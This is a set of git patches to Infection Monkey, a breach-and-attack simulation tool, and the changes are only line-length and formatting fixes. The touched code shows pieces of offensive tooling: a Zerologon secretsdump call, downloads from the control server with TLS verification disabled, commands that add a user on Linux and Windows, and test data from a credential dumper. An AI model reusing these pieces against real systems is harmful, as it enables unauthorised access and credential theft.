a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py @@ -2,7 +2,7 @@ ConfigRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py index 3b0c4c28f84..41e42180b38 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py index 760ee73312e..4f4394ebdbf 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py index e28cde14079..add4ec28257 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py index 03e3c609f49..85f9b4e589a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py index f166cbab683..588701f1761 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py index b365fba9dfb..324cb035a40 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py @@ -2,7 +2,7 @@ RedshiftRules, ) from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py index a0150bc7073..eb92ab78f9f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py index 9f7eda6930c..417f4de8c46 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py index 49c55a5fac1..3eebf05e5c9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py index 6aef420d38b..ca09a4fa8ef 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py index 77e37d0bb30..2d4ce433d28 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 AbstractRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py index 8ad561ecefd..82d9a25264b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py @@ -1,46 +1,46 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( # noqa: E501 CloudformationRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( # noqa: E501 CloudTrailRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( # noqa: E501 CloudWatchRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( # noqa: E501 ConfigRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( # noqa: E501 EC2RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( # noqa: E501 ELBRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( # noqa: E501 ELBv2RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( # noqa: E501 IAMRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( # noqa: E501 RDSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( # noqa: E501 RedshiftRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( # noqa: E501 S3RulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( # noqa: E501 SESRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( # noqa: E501 SNSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( # noqa: E501 SQSRulePathCreator, ) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( # noqa: E501 VPCRulePathCreator, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 36691e00e83..4ee7a6f5923 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -13,7 +13,7 @@ WORKLOADS, ) from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService -from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( +from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( # noqa: E501 save_example_findings, ) from monkey_island.cc.test_common.fixtures import FixtureEnum From 73da6fdc401e59cc7998882358c17a22e1e52956 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Apr 2021 14:20:15 +0300 Subject: [PATCH 0164/1360] Manually fixed long lines not picked up by automatic refactoring --- .../windows_cred_collector/test_pypykatz_handler.py | 12 ++++++++---- .../cc/services/attack/attack_schema.py | 6 ++++-- .../config_schema/definitions/finger_classes.py | 3 ++- 3 files changed, 14 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py index f2d9565b14d..de27cbf59ab 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -56,7 +56,8 @@ class TestPypykatzHandler(TestCase): { "credtype": "dpapi", "key_guid": "9123-123ae123de4-121239-3123-421f", - "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e" + "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b7294" + "7f5e80920034d1275d8613532025975e" "f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9", "sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da", "luid": 123086, @@ -64,7 +65,8 @@ class TestPypykatzHandler(TestCase): { "credtype": "dpapi", "key_guid": "9123-123ae123de4-121239-3123-421f", - "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e" + "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b729" + "47f5e80920034d1275d8613532025975e" "f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9", "sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da", "luid": 123086, @@ -72,7 +74,8 @@ class TestPypykatzHandler(TestCase): { "credtype": "dpapi", "key_guid": "9123-123ae123de4-121239-3123-421f", - "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e" + "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72" + "947f5e80920034d1275d8613532025975e" "f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9", "sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da", "luid": 123086, @@ -80,7 +83,8 @@ class TestPypykatzHandler(TestCase): { "credtype": "dpapi", "key_guid": "9123-123ae123de4-121239-3123-421f", - "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975e" + "masterkey": "6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b729" + "47f5e80920034d1275d8613532025975e" "f051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9", "sha1_masterkey": "bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da", "luid": 123086, diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index e15e1fc86e4..7f277265a9d 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -226,7 +226,8 @@ "value": False, "necessary": False, "link": "https://attack.mitre.org/techniques/T1216", - "description": "Adversaries may use scripts signed with trusted certificates to " + "description": "Adversaries may use scripts signed with " + "trusted certificates to " "proxy execution of malicious files on Windows systems.", }, }, @@ -254,7 +255,8 @@ "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1003", - "description": "Mapped with T1078 Valid Accounts because both techniques require" + "description": "Mapped with T1078 Valid Accounts because " + "both techniques require" " same credential harvesting modules. " "Credential dumping is the process of obtaining account login " "and password " diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index b95f9f25771..2cf94b4e1d8 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -64,7 +64,8 @@ "enum": ["PostgreSQLFinger"], "title": "PostgreSQLFinger", "safe": True, - "info": "Checks if PostgreSQL service is running and if its communication is encrypted.", + "info": "Checks if PostgreSQL service is running and if " + "its communication is encrypted.", "attack_techniques": ["T1210"], }, ], From 56e754eddd166a22a038d46a1a538e9f4ddec636 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Apr 2021 15:23:38 +0300 Subject: [PATCH 0165/1360] Manual fixes of long line refactorings gone wrong --- monkey/common/common_consts/zero_trust_consts.py | 5 +---- monkey/infection_monkey/control.py | 6 ++---- monkey/infection_monkey/exploit/zerologon.py | 2 +- .../post_breach/trap_command/linux_trap_command.py | 2 +- monkey/infection_monkey/utils/linux/users.py | 2 +- monkey/infection_monkey/utils/windows/users.py | 2 +- monkey/monkey_island/cc/models/monkey.py | 2 +- monkey/monkey_island/cc/services/edge/displayed_edge.py | 3 +-- 8 files changed, 9 insertions(+), 15 deletions(-) diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index b4a4c49d6c4..6ff2ab20f35 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -81,10 +81,7 @@ PRINCIPLE_SECURE_AUTHENTICATION = "secure_authentication" PRINCIPLE_MONITORING_AND_LOGGING = "monitoring_and_logging" PRINCIPLES = { - PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your " - "" - "" - "network.", + PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your network.", PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.", PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.", PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint " diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 1fe19baacc7..0df989d99f5 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -156,8 +156,7 @@ def send_telemetry(telem_category, json_data: str): try: telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data} requests.post( - "https://%s/api/telemetry" % (WormConfiguration.current_server,), - # noqa: DUO123 + "https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123 data=json.dumps(telemetry), headers={"content-type": "application/json"}, verify=False, @@ -372,8 +371,7 @@ def create_control_tunnel(): def get_pba_file(filename): try: return requests.get( - PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), - # noqa: DUO123 + PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), # noqa: DUO123 verify=False, proxies=ControlClient.proxies, timeout=LONG_REQUEST_TIMEOUT, diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 12478d8a957..232436cdfbb 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -197,8 +197,8 @@ def restore_password(self) -> bool: def get_all_user_creds(self) -> List[Tuple[str, Dict]]: try: options = OptionsForSecretsdump( - target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" + target=f"{self.dc_name}$@{self.dc_ip}", target_ip=self.dc_ip, dc_ip=self.dc_ip, ) diff --git a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py index bd4771e49b1..75d5451407a 100644 --- a/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py +++ b/monkey/infection_monkey/post_breach/trap_command/linux_trap_command.py @@ -1,6 +1,6 @@ def get_linux_trap_commands(): return [ - "trap 'echo \"Successfully used trap command\"' INT && kill -2 $$ ;", # trap and send SIGINT signal + "trap 'echo \"Successfully used trap command\"' INT && kill -2 $$ ;", "trap - INT", # untrap SIGINT ] diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index b82f5db07a3..fa91fced811 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -14,8 +14,8 @@ def get_linux_commands_to_add_user(username): "-M", # Do not create homedir "--expiredate", # The date on which the user account will be disabled. datetime.datetime.today().strftime("%Y-%m-%d"), - "--inactive", # The number of days after a password expires until the account is permanently disabled. + "--inactive", "0", # A value of 0 disables the account as soon as the password has expired "-c", # Comment "MONKEY_USER", # Comment diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index 65c9c71d17f..d27b74547a9 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -53,8 +53,8 @@ def __enter__(self): self.username, ".", # Use current domain. self.password, - win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user), since we're using a shell. + win32con.LOGON32_LOGON_INTERACTIVE, win32con.LOGON32_PROVIDER_DEFAULT, ) # Which logon provider to use - whatever Windows offers. except Exception as err: diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index e580d65ba69..3bb3c57c9ae 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -149,8 +149,8 @@ def get_network_info(self): return {"ips": self.ip_addresses, "hostname": self.hostname} @ring.lru( - expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation. + expire=1 ) @staticmethod def is_monkey(object_id): diff --git a/monkey/monkey_island/cc/services/edge/displayed_edge.py b/monkey/monkey_island/cc/services/edge/displayed_edge.py index 67fe03d602e..3e038a08838 100644 --- a/monkey/monkey_island/cc/services/edge/displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/displayed_edge.py @@ -37,8 +37,7 @@ def edge_to_displayed_edge(edge: EdgeService, for_report=False): displayed_edge["services"] = services displayed_edge["os"] = os # we need to deepcopy all mutable edge properties, because weak-reference link is made - # otherwise, - # which is destroyed after method is exited and causes an error later. + # otherwise, which is destroyed after method is exited and causes an error later. displayed_edge["exploits"] = deepcopy(edge.exploits) displayed_edge["_label"] = edge.get_label() return displayed_edge From 4466ff44cf2005b5dae7b7f0995067df837bdefc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 09:29:21 -0400 Subject: [PATCH 0166/1360] Run black to resolve E261 warnings --- .../sample_multiplier/fake_monkey.py | 3 +- .../sample_multiplier/sample_multiplier.py | 6 ++-- .../test_fake_ip_generator.py | 3 +- .../shell_startup_files_modification.py | 4 +-- .../test_pypykatz_handler.py | 8 +++--- .../cc/services/attack/attack_schema.py | 4 +-- .../definitions/finger_classes.py | 2 +- .../cc/services/config_schema/internal.py | 2 +- .../exploiter_descriptor_enum.py | 8 +++--- .../processors/cred_exploit.py | 4 +-- .../exploit_processing/processors/exploit.py | 2 +- .../processors/shellshock_exploit.py | 2 +- .../processors/zerologon.py | 2 +- .../cc/services/reporting/report.py | 6 ++-- .../telemetry/processing/system_info.py | 2 +- .../test_environment.py | 2 +- .../test_system_info_telemetry_dispatcher.py | 2 +- .../scoutsuite/data_parsing/rule_parser.py | 2 +- .../cloudformation_rule_path_creator.py | 2 +- .../cloudtrail_rule_path_creator.py | 2 +- .../cloudwatch_rule_path_creator.py | 2 +- .../config_rule_path_creator.py | 2 +- .../elb_rule_path_creator.py | 2 +- .../elbv2_rule_path_creator.py | 2 +- .../iam_rule_path_creator.py | 2 +- .../rds_rule_path_creator.py | 2 +- .../redshift_rule_path_creator.py | 2 +- .../s3_rule_path_creator.py | 2 +- .../ses_rule_path_creator.py | 2 +- .../sns_rule_path_creator.py | 2 +- .../sqs_rule_path_creator.py | 2 +- .../vpc_rule_path_creator.py | 2 +- .../rule_path_creators_list.py | 28 +++++++++---------- .../zero_trust_report/test_pillar_service.py | 2 +- 34 files changed, 59 insertions(+), 63 deletions(-) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py 